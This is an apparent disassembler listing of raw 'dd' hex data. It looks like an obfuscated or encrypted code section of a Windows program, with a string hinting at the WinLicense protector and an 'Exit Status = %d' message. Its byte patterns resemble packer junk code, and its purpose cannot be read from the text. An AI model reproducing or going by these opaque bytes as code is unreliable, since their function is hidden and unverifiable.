		dd 6106132Ch, 0FE9AB61h, 0ED000000h, 9D4BC67Fh,	9AE40827h
		dd 71F3DB33h, 0F85E5D5Eh, 25ED9D29h, 8DFF0613h,	6133A8Fh
		dd 3A8FBD83h, 75000613h, 2444C710h, 1Ch, 55B58D00h, 0FF06133Fh
		dd 3AD56E6h, 97282444h,	858ADF8Bh, 61311E1h, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 2BC585FFh,	6FE90613h, 5EFFFFFFh, 0FDB96660h
		dd 0D5950B84h, 6106131Fh, 0D860Fh, 66600000h, 51C5D781h
		dd 16199D89h, 8B610613h, 132BC585h, 0C820F06h, 0F000000h
		dd 681h, 1D9D8900h, 29061315h, 131D7D95h, 29E0D106h, 1308CD8Dh
		dd 0F9B58906h, 306130Fh, 131B5585h, 6880F06h, 89000000h
		dd 130BAD9Dh, 0BE06h, 96FC0000h, 23699589h, 0AD660613h
		dd 0DE9h, 0BC5EEE00h, 0B76EE00h, 544F9084h, 36065EBh, 131BF185h
		dd 0F2D6BB06h, 0C161595Bh, 9D8902E0h, 6131621h,	18C18503h
		dd 880F0613h, 18h, 13E9h, 0E8250800h, 6C513DA8h, 450CB1Ch
		dd 9B945615h, 81AA09Ah,	89B58996h, 0AD06132Ch, 244C8BF9h
		dd 0BE924h, 0A40B0000h,	7A6346E4h, 5E53D14h, 244403D7h
		dd 0CD9D2924h, 8906131Bh, 0F91C2444h, 80606096h, 0F61E2DBh
		dd 8961C1BFh, 131211B5h, 0FF8AC06h, 1287h, 0DE900h, 7DA80000h
		dd 0F3C1F14Ah, 44EEBEF7h, 321ECB32h, 6870FC9h, 89000000h
		dd 131BA185h, 60C1FE06h, 0F43CA80h, 68Dh, 8D0F00h, 61000000h
		dd 830FD0D0h, 0B7h, 0B86660F5h,	66534099h, 6158F38Bh, 830FD0D0h
		dd 0A3h, 0FEDBD89h, 0D0D00613h,	95820Fh, 7E90000h, 73000000h
		dd 798EC618h, 0D0D00F0Fh, 81820Fh, 0FEF80000h, 0B9890FC9h
		dd 0E9FFFFFFh, 0Ch, 49DD0A99h, 9ECDA7A1h, 0C9902E78h, 12810Fh
		dd 0DE90000h, 83000000h, 0C321AF00h, 0C4EB95E0h, 9F99820Bh
		dd 0F20C483h, 685h, 0BD9D0900h,	0C706130Eh, 0FC2444h, 89000000h
		dd 1324BD95h, 1B806h, 8D890000h, 61300E1h, 75338D8Dh, 14E90613h
		dd 7C000000h, 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh
		dd 0FF6F99B2h, 18529E1h, 0C606132Ah, 1311E185h,	9D290006h
		dd 6131629h, 0B5850961h, 0C2061325h, 820F0008h,	1, 8E996FCh
		dd 33000000h, 0F5763032h, 50A2CB06h, 15820Fh, 10E90000h
		dd 0BD000000h, 0D918ACB4h, 45A44A8Eh, 0DB7FD818h, 9617A52Fh
		dd 0B19D8B60h, 8B061321h, 1317419Dh, 0B5896106h, 6134178h
		dd 988D89FCh, 60061341h, 10D5B509h, 8D610613h, 134004B5h
		dd 0D98D0106h, 8D061305h, 5B8EA185h, 8B666000h,	0D0FF61C6h
		dd 0C3DB589h, 31600613h, 132BE18Dh, 318D8906h, 61061316h
		dd 60C3F95Eh, 5958D8Bh,	49BA0613h, 6145702Fh, 1DE59529h
		dd 0B58B0613h, 6134178h, 0BE9h,	0C6328100h, 318942C0h
		dd 4675E10Ch, 41988D8Bh, 0B5890613h, 6133045h, 0B8h, 0FE900h
		dd 884A0000h, 64152240h, 4A7B3FE7h, 0CF87878Fh,	60D98B93h
		dd 25018589h, 958B0613h, 61322DDh, 10EE961h, 890F0000h
		dd 1, 68F0FF5h,	89000000h, 13006D95h, 0F263206h, 0A81h
		dd 5E900h, 16730000h, 0B214B8E3h, 799D0102h, 0E906132Ch
		dd 83h,	8D015360h, 613318Dh, 0C232615Fh, 0F5958960h, 8A061323h
		dd 7A0561FAh, 0F88A751Dh, 12E9CC8Ah, 0B7000000h, 0F81B4893h
		dd 62702DF7h, 0C649E80Ch, 3E0FA26Dh, 0FE960E7h,	14000000h
		dd 0D705E53Dh, 0E20752FCh, 27F57198h, 0BD8B1910h, 6131291h
		dd 60C8D361h, 0FD38B66h, 3561DBB7h, 98D10842h, 0FCAFEF9h
		dd 1A89h, 8B666000h, 10E9D6h, 9820000h,	542EB427h, 81213D38h
		dd 0FFC5831Bh, 0A61387Fh, 7F850FD2h, 0FFFFFFFh,	1685h
		dd 11E900h, 0AF6B0000h,	0A6C9C9A2h, 1A5711D1h, 0AE810AB5h
		dd 4B32E9CEh, 14800F60h, 0E8000000h, 0Eh, 7E711324h, 0E306DDC9h
		dd 262F46E8h, 0B55AB779h, 0F4661CCh, 0F86h, 0AE900h, 54560000h
		dd 941A54A0h, 0E5921D6Fh, 850FDB0Bh, 0FFFFFEFDh, 0C718B860h
		dd 0CF6103E3h, 318D8589h, 613h,	1F65BD89h, 613h, 0FF98D01h
		dd 0BE90613h
		dd 0EF000000h, 0FC003A2Ch, 42209425h, 0E5A9h, 0FE9h, 8A937900h
		dd 0AF5801AEh, 0C28FDF29h, 281C1BDCh, 1E41B589h, 613h
		dd 32019D09h, 858D0613h, 6133AADh, 358589F8h, 0F8061332h
		dd 3F73858Dh, 8D290613h, 61329D9h, 118589FCh, 0E8061307h
		dd 10h,	40FEF81Ch, 67C77078h, 26C680FBh, 12E40092h, 505F5A52h
		dd 0C7815EF8h, 61CBh, 0AD8DF281h, 0B857EAh, 0E8000000h
		dd 0Fh,	40F5600Ch, 4FDE7509h, 0E92C5432h, 297C45D0h, 1330B1B5h
		dd 34FF5A06h, 0AE938h, 9BF30000h, 3DDF672Bh, 62CFF00Eh
		dd 0F381F55Bh, 6B302544h, 9ABA66h, 51D4C381h, 0F3813591h
		dd 1C196D58h, 92BDB966h, 0D1B58953h, 8F06130Fh,	81660704h
		dd 8343B2C9h, 11E803E8h, 8F000000h, 76D9B019h, 77480FDCh
		dd 3198A22Ch, 0BE0284EDh, 4859CE8Ah, 1275B58Bh,	0F8810613h
		dd 0FFFF9EECh, 0FF94850Fh, 7E8FFFFh, 0AE000000h, 57D7D639h
		dd 0EB5E9890h, 14h, 3 dup(0)
		dd 0E200h, 62858D00h, 89061343h, 132CDD85h, 0ABBD8306h
		dd 61342h, 11A840Fh, 85C60000h,	61311E1h, 0EA7A6856h, 4817E75h
		dd 0A982BF24h, 6DB5FF55h, 8D061311h, 133AAD85h,	89D0FF06h
		dd 13429F85h, 0E185C606h, 56061311h, 0D62BC668h, 24048193h
		dd 8D28C8Ch, 116DB5FFh,	858D0613h, 6133AADh, 8589D0FFh
		dd 61342A3h, 4368046Ah,	8169FCEBh, 0FB432434h, 858B69FCh
		dd 61342AFh, 1F405h, 2E0C100h, 24048950h, 95FF006Ah, 61342A3h
		dd 42A78589h, 0D88B0613h, 0FFFFFFB8h, 0DD95FFFFh, 8B06132Ch
		dd 0DD95FFC3h, 0E906132Ch, 84h,	42ABBD83h, 0F000613h, 185h
		dd 8B57C300h, 1342A7BDh, 8583AB06h, 61342A7h, 83C35F04h
		dd 1342ABBDh, 850F0006h, 1, 0AD8360C3h,	61342A7h, 0A79D8B04h
		dd 83061342h, 0FFFFC7Bh, 1D85h,	8DC06800h, 34816739h, 390DC024h
		dd 0FF006A67h, 9F95FF33h, 61061342h, 1DE9C3h, 6C680000h
		dd 81C32512h, 6D942404h, 6A3CDBh, 95FF33FFh, 613429Fh
		dd 42A7AD83h, 0E9040613h, 0FFFFFFB1h, 1ADE948h,	8B600000h
		dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h
		dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5
		dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h
		dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2,	0FFFF70E9h
		dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h
		dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h
		dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh
		dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h
		dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h
		dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h
		dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh
		dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h
		dd 929h, 9D3E9h, 0AF5E0C00h, 3DF34623h,	460CB5C3h, 90A7E53Ah
		dd 0ABF95A51h, 735F5389h, 0F1C729FBh, 9394819Ah, 0AF785117h
		dd 31B14D2Eh, 141BA7CBh, 97B5F469h, 0C4B25514h,	795523EAh
		dd 0FDC634EFh, 919481C8h, 0AF7B5E11h, 2EB1572Eh, 1404BDD6h
		dd 8CABE877h, 0AFBC4103h, 6E191789h, 0B0D734EBh, 84DA809Ah
		dd 0AF6D4A11h, 2FFE5137h, 1A04B3D6h, 63h dup(0)
		dd 0AF5E0C00h, 21FF4C2Ah, 141BBDD0h, 84A9FF6Ah,	0EEF15903h
		dd 3C4A128Fh, 0BFC622ECh, 889592C8h, 0FD3F5B10h, 21FF4D32h
		dd 5D49B5CAh, 8CBFAD74h, 0BDBC4A04h, 794D009Eh,	0DCA969E3h
		dd 9C9F98B8h, 0AF335A0Dh, 27FD4D32h, 5D49B6C5h,	91A0AD6Eh
		dd 0A3BC551Eh, 6E561E82h, 0BFC267F7h, 9888D48Ch, 0FD7E4B0Dh
		dd 27E80333h, 4449A0D1h, 91A1E268h, 0B25510h, 48h dup(0)
		dd 0AF5E0C00h, 2BF05124h, 131BB7CFh, 8CB2AD69h,	0A6BC541Eh
		dd 7E190086h, 0F1CD22EBh, 938F9B8Eh, 0FA6D1F1Ah, 26F84D29h
		dd 5A00F2C3h, 96A9F43Ah, 0B7EF1803h, 715C0794h,	81AE4DA0h
		dd 8E9B9184h, 0FA3F131Bh, 29FE4F29h, 4000F2C0h,	8CB4EB3Ah
		dd 0ABF1181Ch, 654B1C8Ah, 0B5CD26AEh, 8E9F86C8h, 0FB6D5E0Ah
		dd 3DFE5A67h, 4619F2D6h, 82B4EA75h, 161Ch, 61h dup(0)
		dd 0E6590C00h, 2BB1462Bh, 411BA0CBh, 87A3F96Ah,	9ABC1650h
		dd 3C4A1A8Fh, 0B6CC35FEh, 0DD97959Ah, 0AF6C5E16h, 26F44625h
		dd 5A08BF84h, 8FB3FD73h, 0AAF94C10h, 785712C7h,	0A8C22AAEh
		dd 0F0F0918Ah, 0FC384B17h, 2EFF4A67h, 511DB1C1h, 9AA4AD7Eh
		dd 98BC5951h, 6F4C018Eh, 0F1D128AEh, 9E9B868Bh,	0A17B5A15h
		dd 21F97767h, 5D0FF2D7h, 94E6E876h, 0BABB561Eh,	6E5604C7h
		dd 0BFC267E5h, 8F959991h, 111Bh, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
aS_4:
		unicode	0, <é/>
		dw 0E900h
		db 0Dh,0
		dd 0C9F00000h, 0BF15DF0Fh, 17C28017h, 0FCF442ADh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B2C35646h, 63F6E873h
		dd 8589E4B6h, 6131EA5h,	9D8BC08Bh, 61329ADh, 1625BD83h
		dd 75000613h, 81BD8309h, 6132Ch, 53501374h, 1B8C08Bh, 8D000000h
		dd 15A81F9Dh, 5BD3FF06h, 81BD8358h, 6132Ch, 53501174h
		dd 1B8h, 0D09D8D00h, 0FF0615A6h, 0F585BD3h, 178Ch, 11840F00h
		dd 0E8000000h, 0Bh, 0C40500F9h,	0BB8F4E7Dh, 5BF12583h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8FC35646h
		dd 0C08BBCC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	3FC35646h, 3C57F321h, 80CD7B98h, 0BD8340D2h, 61334E5h
		dd 0DA840F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0F8B4C355h,	0BD8352A6h
		dd 6131D79h, 0AE840F00h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0C063C356h
		dd 0F986AF9h, 0E860D9B7h, 6, 126F0364h,	95330AE0h, 6132CB9h
		dd 79858B5Bh, 6606131Dh, 29D3C1BBh, 1322B995h, 3E80506h
		dd 9D310000h, 61311C9h,	5050DF8Bh, 8B310F52h, 89585AD8h
		dd 0DF802404h, 5D858DF7h, 6A06134Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A214C353h
		dd 0B8E48B0h, 1F9577Ch,	131FDDB5h, 0DC8A5006h, 81240489h
		dd 54598C2h, 3B858D15h,	2906134Fh, 13199DB5h, 52505006h
		dd 310FD48Ah, 585ADD8Ah, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0E32FC351h
		dd 34B76823h, 38F0Fh, 0C2800000h, 7E9B2h, 34010000h, 30148F41h
		dd 8595FFD8h, 6A061311h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0B3C0C355h,	89AE426Fh
		dd 92327535h, 68E0Fh, 85890000h, 6130595h, 660CC483h, 4E8EEA81h
		dd 9FF38166h, 3B858DA8h, 8106134Fh, 0FE9C1DEAh,	0AE95054h
		dd 81000000h, 0C7532B07h, 4DA32890h, 24048991h,	38E0Fh
		dd 8B660000h, 6A026AD1h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 1FDC350h, 34C1958Bh
		dd 8D290613h, 6131385h,	0ED1495FFh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 896175C3h
		dd 130DD995h, 6E85C706h, 106134Fh, 80000000h, 66966DEEh
		dd 0E950D98Bh, 10h, 90B7E403h, 0F6C7C938h, 0E056D950h
		dd 17C7606Eh, 2D958B96h, 8906131Bh, 134F1FB5h, 0BA575306h
		dd 569F8A10h, 0BD835B5Bh, 613173Dh, 64850F01h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 9D24C355h, 576C929Ah, 0B62DB54Fh,	0F05F883h
		dd 3685h, 0A1950100h, 8B06131Bh, 1309659Dh, 0B806h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 3F8968C3h, 80E0E82Dh, 83DA8B75h, 1330EDBDh, 840F0006h
		dd 5Fh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch
		dd 0FDC35343h, 5FAF1EB8h, 1CA7BA27h, 1965958Bh,	6A600613h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 2309C353h, 1314A19Dh, 0ED95FF06h,	0E9061330h
		dd 5, 0FA071AF9h, 83F5619Fh, 1310DDBDh,	840F0006h, 7, 0B8h
		dd 60DE8B00h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0E8C35242h, 0C32629B4h,	8B72EDFFh, 130F5585h, 0BD9D8B06h
		dd 83061322h, 0C78002C0h, 178589F2h, 6A06134Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 5265C350h, 541CBB66h, 5E85Bh, 0A8AB0000h, 5B82C006h
		dd 0B3FF00C6h, 0E185C64Bh, 53061311h, 8E9h, 0F69EA300h
		dd 0AE041309h, 798D895Bh, 68061314h, 0EA7221DDh, 5E9h
		dd 0F922BC00h, 4813324h, 3F26FB24h, 0A1BD8912h,	0FF061308h
		dd 131EE9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0DAD586D9h, 8DDEF1F1h, 167C3385h
		dd 50D0FF06h, 0F2C18160h, 0F58EE26h, 5A61FFBFh,	0DA98589h
		dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2B3EEBC3h, 421E3578h, 0FE9C7h, 0E450000h
		dd 5D065FC8h, 9415D25Ch, 98594C10h, 0F1BD83EEh,	106132Ch
		dd 136850Fh, 0BB660000h, 2361CA0Ch, 13236995h, 71958906h
		dd 0C6061315h, 1311E185h, 8D894506h, 6132871h, 4E8h, 6038C200h
		dd 0BE9DAh, 239E0000h, 456781F5h, 0C496ECB9h, 525050D4h
		dd 50616060h, 310F615Ah, 5ADA8B66h, 24448B58h, 1F43BB04h
		dd 8B3837h, 4489F88Ah, 6A580424h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CAABC352h
		dd 0E5CB4FEDh, 0FF0884C3h, 131EE9B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 8916BF8Eh, 1309B595h, 88C0F06h, 0F000000h, 280h, 8DEAB200h
		dd 167C3385h, 9850906h,	8A06130Fh, 6AD0FFF3h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 8AA8C355h, 0B6932555h, 9E9h,	36DDB900h, 711E190h, 6AAA3Bh
		dd 14E853h, 0A9260000h,	0B8F568E1h, 19F2AC26h, 0BF58317Dh
		dd 6A096F0h, 5AFC2C88h,	6AD0FF5Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0BCA3C355h
		dd 6052F717h, 1641BD83h, 0F010613h, 9F85h, 0C2805200h
		dd 858B5B73h, 6130F55h,	12E9h, 0DE083100h, 34493664h, 13020389h
		dd 0F0C5EAD7h, 0E97A4A7Ch, 3Ch,	8C0F60h, 9000000h, 1308AD9Dh
		dd 66506106h, 489D88Bh,	6E86024h, 99000000h, 0BC8C8CFCh
		dd 5EF88B2Eh, 8B146A61h, 1306F195h, 0A995FF06h,	8B06130Dh
		dd 8D0158D9h, 6132CFDh,	0F003880h, 0FFFFC985h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 969220Ch, 13230D9Dh,	79958906h, 0C606130Dh, 958B0100h
		dd 61313EDh, 819D8B61h,	8306131Eh, 13281DBDh, 840F0006h
		dd 0A4h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	80C35040h, 0F9347965h, 0C4B23C76h, 0EE8h, 12F6C900h
		dd 57428EC1h, 0D477E055h, 526ED1ADh, 5AD1B70Fh,	80FF6A5Ah
		dd 95FF4BDEh, 6130DA9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0EC35747h, 0A2B3FC0Bh, 0FFFFD0E9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0A99D098Bh, 0E9061321h, 10h,	7FE40B16h, 7CC35D77h, 10303C2Fh
		dd 56C01A68h, 281D85C7h, 10613h, 0CA800000h, 2385895Eh
		dd 8106134Fh, 1602B0C2h, 0BF609039h, 1258F872h,	5061D38Ah
		dd 12E9h, 316D300h, 6C0DCF21h, 686B57B8h, 3A81DEEFh, 904BE503h
		dd 0BB59589h, 958B0613h
		dd 61307D5h, 0D3816660h, 56AD0B1h, 1FC9B529h, 858D0613h
		dd 6134F3Bh, 0A1858960h, 0F06131Bh, 684h, 0B18D8900h, 61061314h
		dd 5088B690h, 90D98B66h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 6CC35343h, 0B71BD5E1h, 8166CF91h, 8D9B4BE2h
		dd 134F2B85h, 0BD9D8B06h, 50061312h, 7E9h, 1F4D1900h, 116E939Dh
		dd 2B240489h, 1313419Dh, 1595FF06h, 8B06131Bh, 1324619Dh
		dd 0D88D8D06h, 0B06137Dh, 8D1174C0h, 134F3B85h,	0D1FF5006h
		dd 4F598589h, 0AEB0613h, 4F5985C7h, 0FFFF0613h,	958BFFFFh
		dd 6130AC5h, 23F19D8Bh,	66610613h, 4B41CB81h, 11E185C6h
		dd 8B4D0613h, 1309499Dh, 0AE46806h, 4818854h, 0E16BC424h
		dd 68F0F1Bh, 33000000h,	13018D95h, 0E5B5FF06h, 6606131Fh
		dd 8D28BCBBh, 167C3385h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C34A57C1h, 0F3843C03h
		dd 0D0FFFA8Ah, 13E9h, 0C7E66E00h, 21720D4Dh, 0F2D6DA28h
		dd 0EA53200Bh, 1BA9B049h, 1558589h, 0B5890613h,	61323FDh
		dd 11E185C6h, 66450613h, 0B43CEA81h, 0CAF78868h, 62BB66CAh
		dd 2434814Eh, 44B89EE1h, 17398D89h, 0B5FF0613h,	6131EE9h
		dd 0E7E5EB81h, 858D4A9Eh, 6167C33h, 0B1858960h,	60061325h
		dd 9D095E51h, 6132141h,	0D0FF6161h, 89D0BF0Fh, 131CBD85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 4CC72FEDh, 8BD28BC6h, 1305DD9Dh,	0D98C6606h
		dd 0BE9h, 31E8E400h, 0AEE76D5Dh, 0EEEFB854h, 20C58D29h
		dd 0C1F60613h, 90840F04h, 0E9000002h, 0Bh, 833F7FDCh, 6269B089h
		dd 0E913018Bh, 115h, 0B58BF78Ah, 61329C5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 0F1FEFCFh
		dd 0BD31D78Bh, 6133119h, 1180C681h, 8B0F0000h, 6, 0F419D8Bh
		dd 0BD830613h, 61322C1h, 28850F00h, 0E9000000h,	0B6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EFC35747h, 9EC10299h
		dd 83986244h, 840F003Eh, 8Ah, 0B20A98BBh, 6A6001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 384FC4C3h, 722BE86Eh, 0FBA805Fh, 9D8BD1BFh, 613119Dh
		dd 9D2B146Ah, 61300D9h,	34859D29h, 95FF0613h, 6130DA9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 90C35141h
		dd 0F6C7C938h, 0BF0F6150h, 0FF85E9D8h, 13E9FFFFh, 4C000000h
		dd 8E7FE56Fh, 797AA610h, 4F3622D3h, 0F4747D1Ah,	6C76E7Ch
		dd 1, 0B97606BBh, 23BD8366h, 506134Fh, 159850Fh, 66510000h
		dd 8B5ADF8Bh, 131CBDB5h, 699D8B06h, 0B9061317h,	64h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 17C35242h, 4F408BE3h
		dd 0E380AA04h, 0E83E806Bh, 69840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B889FBC3h
		dd 0DEE47CCAh, 7E9E868h, 26000000h, 973BF226h, 44E9C8BDh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 9E1BC353h, 0FA6DAEFEh,	606EE7ADh
		dd 6850Fh, 0BD290000h, 6130009h, 8061DD8Ah, 0FC2057Eh
		dd 7884h, 89952B00h, 46061310h,	1251BD09h, 0AE80613h, 32000000h
		dd 0B15D2D52h, 0B24763E9h, 8D89538Ah, 6130B55h,	0F495A5Bh
		dd 0FFFF5885h, 14E8FFh,	87340000h, 6E785ED2h, 0D739E128h
		dd 68B08280h, 0F7B282BAh, 9D8B3107h, 61309FDh, 0D78B665Ah
		dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 6D4BF680h, 6DF28166h, 71B589A8h
		dd 6A06130Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0DBFBC350h, 21958BBBh,	58061300h
		dd 16DD8589h, 0BD830613h, 6131E3Dh, 0CB840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 5898C357h, 0CA6533CCh, 51B3AA07h,	2C098D89h
		dd 52600613h, 800F57h, 5B000000h, 0E185C65Bh, 54061311h
		dd 1399523h, 24680613h,	0B6A993B3h, 24348134h, 56DD0DD0h
		dd 0FFD88B66h, 131EE9B5h, 0BA66F906h, 858DCBABh, 6167C33h
		dd 399D8B51h, 5B06130Bh, 0E125BA66h, 8B66D0FFh,	80006AD9h
		dd 0B5FF54DFh, 6131E3Dh, 0D0FFABB6h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0B7C35040h,	581F22F2h, 77D0A8BAh
		dd 6A6143h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0C1E610C3h, 85C7D18Ah, 6131D1Dh, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7AC35040h, 9CBBEAB5h
		dd 0B509E7FBh, 61319C1h, 60D78B66h, 0E8D7B70Fh,	4, 80h
		dd 14E8h, 1D756E00h, 27742650h,	80FCED39h, 9C38CD71h, 1BBE1AC6h
		dd 0DBB66C6h, 50505B57h, 0FDE8B52h, 11E931h, 5D20000h
		dd 723EA09Eh, 34179374h, 70A0900Fh, 5AD6D79Fh, 24448B58h
		dd 8BCBB604h, 0EBBB6600h, 24448959h, 58D88B04h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4CC35747h, 9D03F25Eh
		dd 8BF5B72Fh, 1313F595h, 6AFF6A06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0EC9BC356h
		dd 89B27C78h, 1310CDBDh, 92BB6606h, 995FF64h, 0E806130Dh
		dd 6, 16F1B920h, 0E381F6A1h, 1A17E883h,	10E85Bh, 55070000h
		dd 3ED3690h, 0F9FF6F86h, 0C5F8A91Fh, 0BB66D1C6h, 615ADDFFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7DC35545h
		dd 95039876h, 6131A49h,	44B35050h, 2404895Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B4C35646h, 8B66120Bh
		dd 0EDBD89DAh, 8B061304h, 1331C185h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 483A247Ah
		dd 0AC5083B8h, 8A0FB4F4h, 2, 0C00BF98Ah, 4E840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 60D135C3h, 18E1B589h, 9D010613h, 6131ABDh, 0F995FF61h
		dd 6A061314h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4100C352h, 13B185C7h, 10613h
		dd 958B0000h, 6133145h,	1B7DBD83h, 0F000613h, 4384h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0EBA2B1B4h, 66485A5Bh, 695CDB81h, 148595FFh,	11E90613h
		dd 33000000h, 0D5B97C95h, 0FF861363h, 8C7EEA76h, 0BD402976h
		dd 30CDBD83h, 0F000613h, 1284h,	91853100h, 0FF06130Bh
		dd 1307DD95h, 0BD950306h, 83061305h, 131F81BDh,	840F0006h
		dd 5Dh,	0BF2DBA66h, 68C0Fh, 95010000h, 61305BDh, 0A31BD83h
		dd 0F000613h, 4085h, 8CB8100h, 0FF709F92h, 13311D95h, 52006A06h
		dd 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 55BD9245h
		dd 6E8603Eh, 0FE000000h, 9256EB8Fh, 0A5B58B50h,	5E061313h
		dd 0C1BD8361h, 6130Ah, 3C840Fh,	0E9600000h, 12h, 5626025Ch
		dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 81612254h, 130D7D85h
		dd 400306h, 0BD958900h,	6606132Eh, 818FEDBAh, 13311585h
		dd 400306h, 0E2816600h,	310F5C99h, 0CD8D8DFCh, 0E906135Fh
